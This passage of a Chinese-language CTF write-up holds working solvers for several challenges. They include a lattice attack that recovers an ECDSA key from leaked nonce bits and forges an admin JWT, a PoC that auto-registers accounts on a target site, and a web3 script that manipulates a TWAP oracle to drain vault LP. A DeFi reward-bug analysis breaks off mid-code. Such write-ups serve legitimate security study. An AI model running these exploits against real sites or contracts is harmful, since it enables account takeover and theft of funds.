left_rows = G[:split]
right_rows = G[split:]
solutions = []
for left_weight in range(11):
right_weight = 10 - left_weight
right_table = {}
for syndrome, half_h in gen_half_vectors(right_rows, right_weight):
right_table[syndrome] = half_h
for left_syndrome, left_h in gen_half_vectors(left_rows, left_weight):
target = tuple((-x) % P_FIELD for x in left_syndrome)
right_h = right_table.get(target)
if right_h is not None:
solutions.append(left_h + right_h)
return solutions
def task1_seed(h, ciphertext):
material = (
b"Curve_Link_Task1_Hard|P=65537|w=10|h="
+ b",".join(str(x).encode() for x in h)
)
stream = b""
counter = 0
while len(stream) < len(ciphertext):
stream += hashlib.sha256(material + struct.pack(">I", counter)).digest()
counter += 1
return bytes(c ^ s for c, s in zip(ciphertext, stream))
def x25519(scalar_bytes, u_bytes):
"""Pure Python X25519 Montgomery ladder."""
scalar = bytearray(scalar_bytes[:32])
scalar[0] &= 248
scalar[31] &= 127
scalar[31] |= 64
scalar = int.from_bytes(scalar, "little")
u = int.from_bytes(u_bytes, "little") % X25519_P
x1 = u
x2, z2 = 1, 0
x3, z3 = u, 1
swap = 0
for bit_index in range(254, -1, -1):
bit = (scalar >> bit_index) & 1
swap ^= bit
if swap:
x2, x3 = x3, x2
z2, z3 = z3, z2
swap = bit
A = (x2 + z2) % X25519_P
AA = (A * A) % X25519_P
B = (x2 - z2) % X25519_P
BB = (B * B) % X25519_P
E = (AA - BB) % X25519_P
C = (x3 + z3) % X25519_P
D = (x3 - z3) % X25519_P
DA = (D * A) % X25519_P
CB = (C * B) % X25519_P
x3 = ((DA + CB) ** 2) % X25519_P
z3 = (x1 * ((DA - CB) ** 2 % X25519_P)) % X25519_P
x2 = (AA * BB) % X25519_P
z2 = (E * (AA + X25519_A24 * E)) % X25519_P
if swap:
x2, x3 = x3, x2
z2, z3 = z3, z2
result = x2 * pow(z2, X25519_P - 2, X25519_P) % X25519_P
return result.to_bytes(32, "little")
def burn_sha256(data, count):
for _ in range(count):
data = hashlib.sha256(data).digest()
return data
def solve_task2(seed):
peer_public_key = open("task2/task2.pub", "rb").read()
ciphertext = open("task2/task2.enc", "rb").read()
compressed = hashlib.sha256(seed).digest()
scalar_material = burn_sha256(compressed, 0xC350)
shared = x25519(scalar_material, peer_public_key)
session_hash = hashlib.sha256(shared).digest()
print("[+] shared =", shared.hex())
print("[+] SHA256(shared) =", session_hash.hex())
print("[+] session_prefix =", session_hash[:8].hex())
assert session_hash[:8].hex() == "621e27e55f647db4"
mask = hashlib.sha256(session_hash).digest()
stream = (mask * ((len(ciphertext) + len(mask) - 1) // len(mask)))[: len(ciphertext)]
plaintext = bytes(c ^ s for c, s in zip(ciphertext, stream))
return plaintext
def main():
G, task1_ciphertext = parse_task1()
solutions = recover_h(G)
print(f"[+] h solutions: {len(solutions)}")
seeds = []
for h in solutions:
seed = task1_seed(h, task1_ciphertext)
seeds.append(seed)
print("[+] h =", ",".join(map(str, h)))
print("[+] seed_hex =", seed.hex())
print("[+] seed =", repr(seed))
# The correct candidate is verified by task2.log's session_prefix.
seed = b"aGFjyHX1aWdadade"
flag = solve_task2(seed)
print("[+] flag =", flag.decode())
if __name__ == "__main__":
main()
运行结果中的关键输出:
[+] h solutions: 2
[+] seed = b'aGFjyHX1aWdadade'
[+] session_prefix = 621e27e55f647db4
[+] flag = SCTF{curve25519_bsuiahduie_cif_diqw}
Cuneiform
题目给了 chall.py 和 output.txt。核心参数为:
p = 3
w = 51
N = 9
M = 4
有限域为:
output.txt 中的 C0, C1, C2, C3 是 4 个 9 元二次型的压缩结果。题目中的 _pack() 按如下顺序保存二次型系数:
[(0,0), (0,1), ..., (0,8), (1,1), (1,2), ..., (8,8)]
对于二次型
解包后:
是对角项系数; 是非对角项 的系数; - 极化矩阵
满足 , 。
chall.py 生成二次型时,先随机生成一个隐藏 4 维子空间
for T in tablets:
P = _paired_form(F, T)
for z in subspace:
assert _score(F, T, z) == 0
ZP = _mat_mul(F, _mat_mul(F, subspace, P), _mat_T(subspace))
assert all(v == 0 for row in ZP for v in row)
最终密钥不仅依赖满足目标 profile 的 opening,还依赖隐藏子空间
cipher = _royal_cipher(F, opening, target, plucker)
vault = _seal_scroll(payload, cipher)
因此只求出一个满足 4 个目标二次型值的 opening 不够,必须恢复隐藏子空间
如果把隐藏空间写成 RREF 形式:
条件为:
其中
实际检查矩阵性质:
quadratic ranks [9, 9, 9, 9]
paired ranks [9, 9, 9, 9]
common radical dim 0
所以也不能靠公共 radical 直接拿到
选第一个极化矩阵
并令:
隐藏空间
对
又因为:
所以当
每个映射的目标空间都是 1 维。三个映射
也就是说:
对于这个向量
这样未知量从原来的 20 个降低到射影向量
generator chart 0 vars 8 eqs 40
generator gb len 8 dimension 0
candidate V rank 4
恢复 _find_master_opening() 逻辑:
- 对
做 RREF,得到 canonical basis; - 遍历
; - 用
shake_256(seal_nonce || ctr)生成自由变量; - 解一个
线性方程得到 opening; - 验证 4 个二次型值等于 profile;
- 计算 normalized Plucker 坐标;
- 复现
_royal_cipher(); - 用
shake_256(b"seal|" + cipher)解密vault。
exp如下:
#!/usr/bin/env sage
import hashlib
import itertools
import re
P = 3
W = 51
N = 9
M = 4
TARGET_TAG = b"sctf-ur-v7::target-tallies"
CIPHER_DOMAIN = b"sctf-ur-v7|seal|"
CIPHER_STREAM = b"seal|"
B36 = "0123456789abcdefghijklmnopqrstuvwxyz"
def parse_output(path="output.txt"):
vals = {}
for line in open(path):
line = line.strip()
if not line or line.startswith("#"):
continue
k, v = [x.strip() for x in line.split("=", 1)]
vals[k] = v.strip("'")
return vals
def from_base36(s):
x = 0
for ch in s:
x = x * 36 + B36.index(ch)
return x
def int_to_F(K, x):
coeffs = []
for _ in range(W):
coeffs.append(x % P)
x //= P
return K(coeffs)
def F_to_int(x):
coeffs = x.polynomial().list()
out = 0
for c in reversed(coeffs):
out = out * P + int(c)
return out
def word_bytes(q, words):
wb = (q.bit_length() + 7) // 8
return b"".join(F_to_int(x).to_bytes(wb, "big") for x in words)
def score(K, Q, x):
s = K(0)
for i in range(N):
for j in range(i, N):
if i == j:
s += Q[i][i] * x[i] * x[i]
else:
s += Q[i][j] * x[i] * x[j]
return s
def plucker_norm(K, V):
coords = []
for cols in itertools.combinations(range(N), M):
coords.append(matrix(K, [[V[r][c] for c in cols] for r in range(M)]).det())
first = next(i for i, v in enumerate(coords) if v)
inv = 1 / coords[first]
return [v * inv for v in coords]
def royal_cipher(K, opening, target, plucker):
spec = b"3^51"
q = 3**51
return hashlib.sha256(
CIPHER_DOMAIN
+ word_bytes(q, opening)
+ b"|"
+ word_bytes(q, target)
+ b"|"
+ word_bytes(q, plucker)
+ b"|"
+ spec
).digest()
def seal_scroll(payload, cipher):
stream = hashlib.shake_256(CIPHER_STREAM + cipher).digest(len(payload))
return bytes(a ^^ b for a, b in zip(payload, stream))
def load_instance():
vals = parse_output()
R.<z> = PolynomialRing(GF(P))
K.<a> = GF(P**W, modulus=z**51 + 2*z + 1)
target = [int_to_F(K, int(x)) for x in re.findall(r"\d+", vals["profile"])]
qs = []
ps = []
for k in range(M):
packed = from_base36(vals[f"C{k}"])
Q = matrix(K, N, N)
B = matrix(K, N, N)
for i in range(N):
for j in range(i, N):
c = int_to_F(K, packed % K.order())
packed //= K.order()
Q[i, j] = c
Q[j, i] = c
if i == j:
B[i, i] = 2 * c
else:
B[i, j] = c
B[j, i] = c
qs.append(Q)
ps.append(B)
return K, qs, ps, target, vals
def check_instance(K, qs, ps, target):
print("field order bits", K.order().nbits())
print("targets", [F_to_int(x) for x in target])
print("quadratic ranks", [Q.rank() for Q in qs])
print("paired ranks", [B.rank() for B in ps])
stacked = matrix(K, sum([B.rows() for B in ps], []))
print("common radical dim", N - stacked.rank())
def find_generator_vector(K, ps, chart=0):
B0 = ps[0]
A = [identity_matrix(K, N)] + [B0.inverse() * ps[i] for i in range(1, M)]
var_cols = [i for i in range(N) if i != chart]
R = PolynomialRing(K, [f"v_{i}" for i in var_cols], order="degrevlex")
gens = R.gens()
v = []
for i in range(N):
if i == chart:
v.append(R(1))
else:
v.append(gens[var_cols.index(i)])
Av = []
for Ai in A:
Av.append([sum(R(Ai[r, c]) * v[c] for c in range(N)) for r in range(N)])
eqs = []
for Bk0 in ps:
Bk = [[R(Bk0[r, c]) for c in range(N)] for r in range(N)]
for i in range(M):
for j in range(i, M):
s = R(0)
for r in range(N):
if Av[i][r] == 0:
continue
for c in range(N):
if Bk[r][c] and Av[j][c] != 0:
s += Av[i][r] * Bk[r][c] * Av[j][c]
eqs.append(s)
print("generator chart", chart, "vars", R.ngens(), "eqs", len(eqs))
I = R.ideal(eqs)
G = I.groebner_basis()
print("generator gb len", len(G), "dimension", I.dimension())
sol = {}
for g in G:
linear_vars = [x for x in R.gens() if g.degree(x) == 1]
if len(linear_vars) != 1:
raise ValueError(f"unexpected Groebner basis element: {g}")
x = linear_vars[0]
c = g.monomial_coefficient(x)
sol[x] = -g.subs({x: 0}) / c
vv = []
for i in range(N):
if i == chart:
vv.append(K(1))
else:
vv.append(K(sol[R.gen(var_cols.index(i))]))
V = []
for Ai in A:
col = Ai * vector(K, vv)
V.append(list(col))
V = matrix(K, V)
print("candidate V rank", V.rank())
return V
def canonical_form(V):
R = V.echelon_form()
rows = [list(R.row(i)) for i in range(R.nrows()) if any(R[i, j] for j in range(R.ncols()))]
pivots = []
for row in rows:
pivots.append(next(i for i, x in enumerate(row) if x))
free = [c for c in range(N) if c not in set(pivots)]
return rows, pivots, free
def stream_tallies(K, seed_bytes, count):
raw = hashlib.shake_256(seed_bytes).digest(count * 8)
return [int_to_F(K, int.from_bytes(raw[8 * i:8 * i + 8], "big")) for i in range(count)]
def find_master_opening(K, qs, ps, V, target, nonce):
Q, piv, free_cols = canonical_form(V)
print("canonical pivots", piv, "free", free_cols)
for ctr in range(256):
u = stream_tallies(K, nonce + ctr.to_bytes(2, "big"), len(free_cols))
w = [K(0)] * N
for j, fc in enumerate(free_cols):
w[fc] = u[j]
L = []
rhs = []
for k in range(M):
rhs.append(target[k] - score(K, qs[k], w))
wP = [sum(w[r] * ps[k][r, col] for r in range(N)) for col in range(N)]
L.append([sum(wP[col] * Q[i][col] for col in range(N)) for i in range(M)])
Lm = matrix(K, L)
if Lm.rank() < M:
continue
c = Lm.solve_right(vector(K, rhs))
opening = w[:]
for i in range(M):
if c[i]:
for col in range(N):
opening[col] += c[i] * Q[i][col]
if all(score(K, qs[k], opening) == target[k] for k in range(M)):
print("opening ctr", ctr)
return opening
raise RuntimeError("no opening")
def decrypt_flag(K, qs, ps, target, vals, V):
nonce = bytes.fromhex(vals["seal_nonce"])
opening = find_master_opening(K, qs, ps, V, target, nonce)
plucker = plucker_norm(K, [list(V.row(i)) for i in range(V.nrows())])
cipher = royal_cipher(K, opening, target, plucker)
vault = bytes.fromhex(vals["vault"])
flag = seal_scroll(vault, cipher)
print("opening", [F_to_int(x) for x in opening])
print("plucker first values", [F_to_int(x) for x in plucker[:8]])
print("flag", flag)
return flag
def main():
K, qs, ps, target, vals = load_instance()
check_instance(K, qs, ps, target)
V = find_generator_vector(K, ps, 0)
decrypt_flag(K, qs, ps, target, vals, V)
if __name__ == "__main__":
main()

Invincible

这题一开始看起来是个普通 FastAPI 登录站,主题还是 Invincible Archive,
真正的洞在它自己手写的 JWT 签名里。整体利用链很短:
- 注册普通用户,拿到足够多的 JWT。
- 从每个 JWT 的签名里得到一条 ECDSA 方程。
- 利用
FoxHash的设计缺陷,预测每个 nonce 中固定的 16 bit。 - 用 EHNP + Kannan embedding 恢复 ECDSA 私钥。
- 伪造
role=admin的 JWT,访问/api/admin/flag
路由逻辑本身很直白。/api/admin/flag 只看当前 JWT 解出来的 payload:
if user["role"] != "admin":
raise HTTPException(status_code=403, detail="forbidden")
return {"flag": current_flag()}
也就是说,不需要知道 admin 密码,只要能签一个合法的 admin token 就行。
签名代码在 vuln_jwt.py 里。它用 BrainpoolP512r1 做 ECDSA,但是 nonce 不是安全随机数,而是:
k = nonce_int(self.nonce_oracle, nonce_material)
nonce_material 是:
uid:username:header.payload
ECDSA 签名满足:
s = k^-1 * (h + r*d) mod q
整理一下就是:
s*k = h + r*d mod q
这里 d 是我们要恢复的私钥。
附件 vuln_hash.py 直接定义了这个数:
Q = int(
"00aadd9db8dbe9c48b3fd4e6ae33c9fc07cb308db3b3c9d20ed6639cca703308"
"70553e5c414ca92619418661197fac10471db1d381085ddaddb58796829ca90069",
16,
)
它就是 BrainpoolP512r1 的 subgroup order,也就是 ECDSA 里所有 mod q 运算的那个 q。所以 PoC 需要把它硬编码进去。
在 FoxHash,它先生成 32 个 16-bit word,拼成一个 512-bit nonce,然后又用一个可以预测的位置和值覆盖其中一个 word:
n = generate_prime(int(sha256(m).digest()) % 512, max(500, Random(secret_key).getrandbits(15)))
r3 = Random(n)
pos = r3.getrandbits(5)
value = r3.getrandbits(16)
h[pos] = value
表面上 max(500, Random(secret_key).getrandbits(15)) 里有 secret key,像是不可预测。但这题里 generate_prime(bits, a) 对所有 bits in [0, 511],第一个可用的素数都出现在 k < 500,所以后面的 secret key 实际没有参与结果。
于是对每一个 token,我们都能从公开的 message 算出:
nonce 的第 pos 个 16-bit word 等于 value
每个签名泄露 16 bit nonce。单条没什么用,40 条加起来就够了。
数学建模
把原始 FoxHash 输出记为 H_i,签名实际使用:
k_i = H_i mod q
但在模 q 的 ECDSA 方程里,直接写 H_i 就行:
s_i * H_i = h_i + r_i * d mod q
一个 512-bit 的 H_i 被切成 32 个 16-bit word。我们知道其中一个 word,其余部分拆成上下两个未知 chunk:
H_i = known_i + low_i + high_i * 2^(shift_i + 16)
代回去:
r_i*d - s_i*low_i - s_i*2^(shift_i+16)*high_i = s_i*known_i - h_i mod q
这就是 Extended Hidden Number Problem。我的做法是先搭出 CVP 格,再做 Kannan embedding,把找最近向量变成找短向量:
[ lattice_basis 0 ]
[ target M ]
其中 M = 2^508。用 flatter 约简后,找最后一维等于 +M 或 -M 的短向量,反推出 closest vector,再从 private-key 那一列读出 d。
这里有个小坑:26 条、30 条签名时会出现“假私钥”,它能满足子集,但过不了全部 40 条。最后一定要拿所有样本验一遍:
k = (h + r*d) * s^-1 mod q
再检查 k 或 k + q 的对应 16-bit word 是否等于预测出来的 value。40/40 全过才是真的。
完整 PoC
下面这个 PoC 默认会自己注册 40 个用户收集 JWT。如果场景已经被注册满了,就重启/重建场景后再跑
运行:
python3 solve_player_full.py http://web-xxxx.adworld.xctf.org.cn:80/
PoC:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
import argparse
import base64
import hashlib
import json
import secrets
import sys
import time
from random import Random
import flatn
import requests
from Crypto.Util.number import isPrime, sieve_base
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature
Q = int(
"00aadd9db8dbe9c48b3fd4e6ae33c9fc07cb308db3b3c9d20ed6639cca703308"
"70553e5c414ca92619418661197fac10471db1d381085ddaddb58796829ca90069",
16,
)
NONCE_BITS = 512
WORD_BITS = 16
WORD_COUNT = 32
TOKEN_COOKIE = "demo_access_token"
JWT_ALG = "BP512VULN"
JWT_TYP = "JWT"
def b64u_enc(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode("ascii")
def b64u_dec(data: str) -> bytes:
return base64.urlsafe_b64decode(data + "=" * (-len(data) % 4))
def jwt_part(obj: dict) -> str:
return b64u_enc(json.dumps(obj, separators=(",", ":")).encode())
def generate_prime(bits: int, limit: int = 500) -> int:
while True:
p_sub = 2
for prime in sieve_base:
p_sub *= prime
if p_sub.bit_length() > bits - 2:
break
for k in range(2, limit, 2):
p = p_sub * k + 1
if isPrime(p):
return p
raise RuntimeError(f"generate_prime failed for bits={bits}")
def fox_known_word(nonce_material: bytes) -> tuple[int, int]:
digest = hashlib.sha256(nonce_material).digest()
bits = int.from_bytes(digest, "big") % 512
n = generate_prime(bits)
rng = Random(n)
return rng.getrandbits(5), rng.getrandbits(16)
def collect_tokens(base_url: str, count: int = 40, timeout: int = 10) -> list[str]:
base_url = base_url.rstrip("/")
sess = requests.Session()
prefix = "u" + str(int(time.time())) + secrets.token_hex(3)
tokens: list[str] = []
for i in range(count):
username = f"{prefix}_{i:02d}"
password = "P@ssw0rd_" + secrets.token_hex(6)
resp = sess.post(
base_url + "/register",
data={"username": username, "password": password},
allow_redirects=False,
timeout=timeout,
)
token = resp.cookies.get(TOKEN_COOKIE) or sess.cookies.get(TOKEN_COOKIE)
if not token:
body = resp.text[:240].replace("\n", " ")
raise RuntimeError(
f"could only collect {len(tokens)} tokens; "
f"status={resp.status_code}, body={body!r}. "
"The scene may already have reached the 40-user limit."
)
tokens.append(token)
sess.cookies.clear()
print(f"[+] collected {len(tokens):02d}/{count}: {username}", flush=True)
return tokens
def parse_token(token: str) -> dict:
header_b64, payload_b64, sig_b64 = token.strip().split(".")
signing_input = f"{header_b64}.{payload_b64}".encode("ascii")
payload = json.loads(b64u_dec(payload_b64))
r, s = decode_dss_signature(b64u_dec(sig_b64))
h = int.from_bytes(hashlib.sha512(signing_input).digest(), "big") % Q
uid = payload.get("uid", payload.get("id", ""))
username = payload.get("username", payload.get("sub", ""))
nonce_material = f"{uid}:{username}:".encode() + signing_input
pos, val = fox_known_word(nonce_material)
shift = WORD_BITS * (WORD_COUNT - 1 - pos)
known = val << shift
chunks: list[tuple[int, int]] = []
if shift > 0:
chunks.append((0, shift))
high_len = NONCE_BITS - shift - WORD_BITS
if high_len > 0:
chunks.append((shift + WORD_BITS, high_len))
return {
"token": token.strip(),
"payload": payload,
"r": int(r),
"s": int(s),
"h": int(h),
"known": int(known),
"chunks": chunks,
"pos": int(pos),
"val": int(val),
"shift": int(shift),
}
def score_candidate(priv: int, samples: list[dict]) -> tuple[int, list[int]]:
bad: list[int] = []
for idx, smp in enumerate(samples, 1):
k_mod = ((smp["h"] + smp["r"] * priv) * pow(smp["s"], -1, Q)) % Q
ok = ((k_mod >> smp["shift"]) & 0xFFFF) == smp["val"]
if not ok and k_mod + Q < (1 << NONCE_BITS):
ok = (((k_mod + Q) >> smp["shift"]) & 0xFFFF) == smp["val"]
if not ok:
bad.append(idx)
return len(samples) - len(bad), bad
def build_embedding_basis(samples: list[dict], m_bits: int) -> tuple[list[list[int]], list[int], int]:
eq_count = len(samples)
chunk_count = sum(len(s["chunks"]) for s in samples)
dim = eq_count + 1 + chunk_count
c = dim // 4 + 24
scale = 1 << (NONCE_BITS + c)
center = 1 << (NONCE_BITS - 1)
basis = [[0] * (dim + 1) for _ in range(dim + 1)]
for i in range(eq_count):
basis[i][i] = Q * scale
priv_row = eq_count
for i, smp in enumerate(samples):
basis[priv_row][i] = smp["r"] * scale
basis[priv_row][priv_row] = 1
row = eq_count + 1
for i, smp in enumerate(samples):
for bit_pos, bit_len in smp["chunks"]:
basis[row][i] = ((-smp["s"] * pow(2, bit_pos, Q)) % Q) * scale
basis[row][row] = 1 << (NONCE_BITS - bit_len)
row += 1
target = [0] * dim
for i, smp in enumerate(samples):
target[i] = ((smp["s"] * smp["known"] - smp["h"]) % Q) * scale
for i in range(eq_count, dim):
target[i] = center
for j, value in enumerate(target):
basis[dim][j] = value
basis[dim][dim] = 1 << m_bits
return basis, target, eq_count
def recover_private_key(samples: list[dict]) -> int:
attempts = [
(508, {"rhf": 1.005}),
(508, {}),
(510, {"rhf": 1.005}),
(512, {"rhf": 1.005}),
(516, {"rhf": 1.005}),
(508, {"rhf": 1.01}),
]
for m_bits, params in attempts:
basis, target, eq_count = build_embedding_basis(samples, m_bits)
print(f"[*] flatter embedding: dim={len(basis)}, M=2^{m_bits}, params={params}", flush=True)
reduced = flatn.reduce(basis, **params)
m_value = 1 << m_bits
for row_id, row in enumerate(reduced):
last = row[-1]
if abs(last) != m_value:
continue
if last > 0:
close = [target[j] - row[j] for j in range(len(target))]
else:
close = [target[j] + row[j] for j in range(len(target))]
priv = int(close[eq_count]) % Q
good, bad = score_candidate(priv, samples)
print(f" candidate row={row_id}, score={good}/{len(samples)}", flush=True)
if good == len(samples):
return priv
raise RuntimeError("private key was not recovered; try a fresh scene and collect 40 tokens")
def forge_admin_token(priv: int, lifetime: int = 7200) -> str:
now = int(time.time())
header = {"alg": JWT_ALG, "typ": JWT_TYP}
payload = {
"uid": 1,
"id": 1,
"sub": "admin",
"username": "admin",
"role": "admin",
"created_at": 0,
"iat": now,
"exp": now + lifetime,
"jti": secrets.token_hex(8),
}
header_b64 = jwt_part(header)
payload_b64 = jwt_part(payload)
signing_input = f"{header_b64}.{payload_b64}".encode("ascii")
key = ec.derive_private_key(priv, ec.BrainpoolP512R1())
sig = key.sign(signing_input, ec.ECDSA(hashes.SHA512()))
return f"{header_b64}.{payload_b64}.{b64u_enc(sig)}"
def get_flag(base_url: str, token: str) -> str:
resp = requests.get(
base_url.rstrip("/") + "/api/admin/flag",
cookies={TOKEN_COOKIE: token},
timeout=10,
)
return f"status={resp.status_code}\n{resp.text}"
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("url", help="target base URL")
parser.add_argument("-n", "--num", type=int, default=40, help="number of JWT samples to collect")
parser.add_argument("--tokens-from-stdin", action="store_true", help="read JWT samples from stdin")
parser.add_argument("--no-flag", action="store_true", help="recover key and forge token only")
args = parser.parse_args()
if args.tokens_from_stdin:
tokens = [line.strip() for line in sys.stdin if line.strip()]
else:
tokens = collect_tokens(args.url, args.num)
if len(tokens) < 30:
raise SystemExit(f"need about 40 JWT samples, got {len(tokens)}")
samples = [parse_token(t) for t in tokens]
for i, smp in enumerate(samples, 1):
print(f" sig {i:02d}: pos={smp['pos']:02d}, value=0x{smp['val']:04x}")
priv = recover_private_key(samples)
print(f"[+] private scalar:\n{priv:x}")
admin_token = forge_admin_token(priv)
print(f"[+] forged admin JWT:\n{admin_token}")
if not args.no_flag:
print("[+] /api/admin/flag:")
print(get_flag(args.url, admin_token))
if __name__ == "__main__":
main()
当时用 40 个 token 跑出来的私钥是:
7b3e0e6231f829b4c42e20f3ba604940fdb3c08019a23f22f25f8d9513c0eaa6b0a0039b82230d88eebb684ea575f9719d28a46a40a0a6519ac253b05e047ad6
伪造 admin JWT 后访问:
GET /api/admin/flag
Cookie: demo_access_token=<forged_admin_jwt>
返回:
{"flag":"flag{GwBrwBIKl46PPDca2TE5abKtCwXu4UG0}"}
Chronostasis
题目概述
这题是链上题,核心是异步赎回流程里把“请求时快照价”和“领取时当前价”拆开了。
合约逻辑大意是:
requestRedeem()记录snapshotPricePerShareclaimRedeem()却按currentLPPrice计算赎回数量
公式类似:
lpOut = shares * snapshotPricePerShare / currentLPPrice;
只要在 requestRedeem() 之后把 currentLPPrice 压低,claimRedeem() 就会按更低价格多吐出 LP。
漏洞点
价格来源不是纯静态预言机,而是依赖池子 TWAP。
题目里 B/C 池很薄,所以可以:
- 先正常铸出 A/B LP 并存入 vault
- 发起
requestRedeem() - 把手里的
TKB一把砸进B/C池,打低TKB的美元价格 - 等 TWAP 窗口更新
- 再
claimRedeem()
这样 currentLPPrice 会明显下降,而 snapshotPricePerShare 仍保持请求时的高值,形成套利。
利用过程
我用的利用顺序是:
- 连接远端菜单,启动实例
- 读出
RPC / PK / Setup - 给 router 批准
TKA/TKB/TKC - 直接
addLiquidity(TKA, TKB)造出 A/B LP deposit()把 LP 存入 vault- 先
oracle.update(pairAB)和oracle.update(pairBC)让观察历史有效 requestRedeem(shares, player, player)- 用剩余
TKB做TKB -> TKC大额 swap,打崩B/C池价格 evm_increaseTime(360)等 TWAP 生效- 再更新 oracle
claimRedeem(requestId)
这题我本地验证时,lpPriceUSD 从:
1999997000000000
降到了:
25521000000000
然后 claimRedeem() 成功,isSolved() 返回 true。
复现脚本
利用脚本在这里:
核心代码如下:
from eth_account import Account
from web3 import Web3
MAX_UINT = 2**256 - 1
DEADLINE = 9_999_999_999
SETUP_ABI = [...]
ERC20_ABI = [...]
ROUTER_ABI = [...]
VAULT_ABI = [...]
ORACLE_ABI = [...]
def contract(w3, addr, abi):
return w3.eth.contract(address=Web3.to_checksum_address(addr), abi=abi)
def send_tx(w3, acct, fn, label):
tx = fn.build_transaction({
"from": acct.address,
"nonce": w3.eth.get_transaction_count(acct.address),
"chainId": w3.eth.chain_id,
"gas": int(fn.estimate_gas({"from": acct.address}) * 1.5) + 50_000,
"gasPrice": w3.eth.gas_price,
})
signed = acct.sign_transaction(tx)
raw = getattr(signed, "rawTransaction", None)
if raw is None:
raw = getattr(signed, "raw_transaction")
tx_hash = w3.eth.send_raw_transaction(raw)
return w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
def mine_after(w3, seconds):
w3.provider.make_request("evm_increaseTime", [seconds])
w3.provider.make_request("evm_mine", [])
def solve(rpc, private_key, setup_addr, lp_amount=1000 * 10**18, wait_seconds=360):
w3 = Web3(Web3.HTTPProvider(rpc, request_kwargs={"timeout": 20}))
acct = Account.from_key(private_key)
player = Web3.to_checksum_address(acct.address)
setup = contract(w3, setup_addr, SETUP_ABI)
vault_addr = setup.functions.vault().call()
oracle_addr = setup.functions.oracle().call()
router_addr = setup.functions.router().call()
token_a = setup.functions.tokenA().call()
token_b = setup.functions.tokenB().call()
token_c = setup.functions.tokenC().call()
pair_ab = setup.functions.pairAB().call()
pair_bc = setup.functions.pairBC().call()
vault = contract(w3, vault_addr, VAULT_ABI)
oracle = contract(w3, oracle_addr, ORACLE_ABI)
router = contract(w3, router_addr, ROUTER_ABI)
tka = contract(w3, token_a, ERC20_ABI)
tkb = contract(w3, token_b, ERC20_ABI)
tkc = contract(w3, token_c, ERC20_ABI)
lp_ab = contract(w3, pair_ab, ERC20_ABI)
send_tx(w3, acct, tka.functions.approve(router_addr, MAX_UINT), "approve TKA")
send_tx(w3, acct, tkb.functions.approve(router_addr, MAX_UINT), "approve TKB")
send_tx(w3, acct, tkc.functions.approve(router_addr, MAX_UINT), "approve TKC")
send_tx(
w3,
acct,
router.functions.addLiquidity(token_a, token_b, lp_amount, lp_amount, 0, 0, player, DEADLINE),
"addLiquidity A/B",
)
lp_bal = lp_ab.functions.balanceOf(player).call()
send_tx(w3, acct, lp_ab.functions.approve(vault_addr, MAX_UINT), "approve LP")
send_tx(w3, acct, vault.functions.deposit(lp_bal, player), "vault deposit")
shares = vault.functions.balanceOf(player).call()
mine_after(w3, 2)
send_tx(w3, acct, oracle.functions.update(pair_ab), "oracle update pairAB initial")
send_tx(w3, acct, oracle.functions.update(pair_bc), "oracle update pairBC initial")
request_id = vault.functions.requestRedeem(shares, player, player).call({"from": player})
send_tx(w3, acct, vault.functions.requestRedeem(shares, player, player), "requestRedeem")
b_bal = tkb.functions.balanceOf(player).call()
send_tx(
w3,
acct,
router.functions.swapExactTokensForTokens(b_bal, 0, [token_b, token_c], player, DEADLINE),
"swap TKB->TKC",
)
mine_after(w3, wait_seconds)
send_tx(w3, acct, oracle.functions.update(pair_ab), "oracle update pairAB after")
send_tx(w3, acct, oracle.functions.update(pair_bc), "oracle update pairBC after")
send_tx(w3, acct, vault.functions.claimRedeem(request_id), "claimRedeem")
return setup.functions.isSolved().call()
# ...
运行方式:
TEAM_TOKEN="你的team token" python3 solve_chrono.py
Flag
SCTF{w0r!d.3xecut3(3th3r_!p_str1k3);}
DeepSea Finance
题目目标很直接,让 Setup.isSolved() 返回 true。
检查 src/Setup.sol 能看到,判定条件就是 vault 里的 WBTC 余额变成 0。
function isSolved() external view returns (bool) {
return wbtc.balanceOf(address(vaultProxy)) == 0;
}
先看初始化。
Setup 里做了这些事:
- 部署
WBTC和USDC - 预言机价格设成
WBTC = 60000,USDC = 1 - vault 初始化时把
rewardToken设成了USDC - 给 WBTC 市场设置
rewardPerBlock = 1e12 - 往 vault 里打了
10e8 WBTC和600000e6 USDC - 给玩家起始资金
10e6 USDC
这几行最关键:
vaultProxy.addMarket(address(wbtc), 10, 1e12);
vaultProxy.addMarket(address(usdc), 5, 1e14);
wbtc.mint(address(proxy), 10e8);
usdc.mint(address(proxy), 600_000e6);
usdc.mint(player, 10e6);
然后去看奖励逻辑。
initialize() 里把 _rewardToken 写进了 rewardToken,而 setup 传进去的是 USDC:
function initialize(
address _oracle,
address _rewardToken,
address[] calldata _guardians
) external {
...
rewardToken = _rewardToken;
}
claimRewards() 发奖励的时候,直接看 vault 当前持有多少 rewardToken,够就转:
function claimRewards(address token) external nonReentrant {
_settlePendingRewards(msg.sender, token);
UserPosition storage pos = positions[msg.sender][token];
uint256 amt = pos.pendingRewards;
if (amt > 0 && IERC20(rewardToken).balanceOf(address(this)) >= amt) {
pos.pendingRewards = 0;
rewardToken.safeTransfer(msg.sender, amt);
}
_settleRewardEpoch(token);
}
这里没有单独的奖励池概念,vault 地址上有多少 USDC,它就敢从里面发多少。题目初始那 600000 USDC,正好就成了可以被 claim 走的奖励余额。
接着看奖励累计:
function _accrueRewards(address token) internal {
MarketConfig storage m = markets[token];
if (m.totalDeposited == 0 || block.number <= m.lastRewardBlock) return;
uint256 elapsed = block.number - m.lastRewardBlock;
uint256 accrued = elapsed * m.rewardPerBlock;
m.globalRewardIndex += (accrued * 1e18) / m.totalDeposited;
m.lastRewardBlock = block.number;
}
这里有个很好用的点:如果 totalDeposited == 0,函数直接返回,lastRewardBlock 也不会更新。也就是说,市场空仓的时候,奖励并没有真正结算掉,后面第一次有人参与的时候,会把前面的块数一起算进去。
再看 deposit():
function deposit(address token, uint256 amount) external nonReentrant {
require(markets[token].enabled, "Market disabled");
require(amount > 0, "Zero amount");
_settlePendingRewards(msg.sender, token);
token.safeTransferFrom(msg.sender, address(this), amount);
UserPosition storage pos = positions[msg.sender][token];
pos.deposited += amount;
pos.lastActivityBlock = block.number;
markets[token].totalDeposited += amount;
